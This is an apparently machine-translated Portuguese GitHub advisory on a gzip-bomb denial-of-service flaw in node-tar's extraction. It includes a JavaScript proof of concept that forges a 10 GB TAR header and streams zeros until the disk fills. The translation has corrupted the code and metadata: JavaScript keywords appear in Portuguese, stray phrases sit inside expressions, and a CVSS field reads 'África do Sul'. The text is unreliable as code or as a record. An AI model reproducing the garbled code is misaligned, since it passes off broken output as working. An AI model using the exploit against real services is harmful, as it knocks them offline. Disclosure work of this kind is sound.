### Resumo A **Descompressão/parse DoS através de uma vulnerabilidade ilimitada** em `node-tar` permite que um atacante escape recursos do servidor (espaço de disco e CPU). Como a biblioteca não aplica limites superiores rígidos em dados descomprimidos ou contagens de entradas, uma pequena "Gzip Bomb" maliciosamente criada pode ser usada para preencher os serviços de armazenamento e falhas de um servidor. ### Detalhes A biblioteca `node-tar` não aplica uma limitação superior dura no tamanho do arquivo ou no volume de dados descomprimidos processados durante a extração. Enquanto a opção `maxReadSize` existe, ela controla apenas tamanhos de pedaços de leitura internos (por omissão) 16 MB) e não limita o total de bytes cumulativos escritos no disco. Especificamente, no ` src/ extract.ts`, o stream ` Despack` processa as entradas à medida que elas chegam. Não há limite total de-bytes, limite de contagem de entrada ou guarda de razão de descompressão. Um atacante pode fornecer um cabeçalho TAR que reivindica um tamanho de arquivo enorme (por exemplo, 10 GB) e segui- lo com dados altamente compressíveis (como zeros). ` node- tar` continuará a extrair e escrever estes dados até que o disco físico esteja esgotado, pois não há um mecanismo para abortar baseado no consumo de recursos globais.
### PoC A seguinte prova de conceito demonstra como uma pequena entrada compressa pode ser expandida em gigabytes de dados na máquina hospedeira quase instantaneamente. 1. Crie o script de exploração: ```javascript const fs = require('fs'), z = require('zlib'), t = require('tar'); const d = 'dos_test'; se (fs.existsSync( d)) fs. rmSync( d), {recursive: true}); fs. mkdirSync( d);.
// Construir 10 GB header const h = Buffer.alloc( 512 ); h.write('payload'); h.write((( 10 * 1024 ** 3 ).toString( 8 ).padStart( 11,' 0 '), 124 ); h.write('ustar', 257 ); deixe s = 256; for( deixar i= 0; i< 512; i++) if( i< 148 - O que é isso? 155 ) s+=h[i]; h.write( s.toString( 8 ).padStart( 6,' 0 '), 148 ); const gz = z. createGzip(); gz.pipe(t.x({cwd: d})); gz. write(h). const b = Buffer.alloc( 32 * 1024 * 1024 ); // 32 Troços de MB para velocidade const run = () => { enquanto (gz.write(b)); gz. once( 'drain', run); };.
monitor de const = setInterval(() => { try { const bytes = fs.statSync(`${d}/payload`).size; const mb = Math.floor(bytes / ( 1024 * 1024 )); processo.stdout.write(`\r[>] Extraído: ${mb} MB`); se (mb > 5000 ) { console.log( '\n[!] VULN CONFIRMED: 5 GB+ escrito a partir de entrada minúscula.'); process. exit(); } } captura {} }, 50 ); process.on('exit', () => { clearInterval( monitor); console.log('[*] Limpeza...'); se (fs.existsSync( d)) fs.rmSync( d, {recursive: true, force: true}); });.
2. Execute o PoC: ```` nodo de bash poc.js ```. ** Observação:** Você verá o tamanho extraído subir rapidamente para 5,000 MB+ em poucos segundos, enquanto os dados reais sendo "enviados" através do fluxo gzip são desprezíveis. ### Impacto Isto é uma vulnerabilidade **Denial of Service (DoS)**. Ele impacta qualquer aplicativo ou serviço que use `node-tar` para extrair arquivos fornecidos por usuários não confiáveis (por exemplo, registros npm, pipelines CI/CD, ou plataformas de compartilhamento de arquivos). Um atacante não autêntico pode enviar uma pequena carga útil que se expande para consumir todo o espaço de disco disponível, levando a falhas e falhas de serviço em todo o sistema. Registro de aconselhamento: GHSA- 23 hp- 3 Jrh- 7 Fpw. Identificadores relacionados: CVE- 2026 - 59873.
Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 20 T 21: 52: 03.000 Z e lista a sua última modificação como 2026 - 07 - 20 T 21: 52: 03.000 Z. Gravidade: Crítico. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H; CVSS_V 4: CVSS: 4.0 /AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/África do Sul:H.
Software afetado e informações de versão: tar do pacote npm — ECOSYSTEM: introduzido 0, corrigido 7.5.19. Classificação e evidência: identificadores de fraqueza CWE- 770. O registro contém 5 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.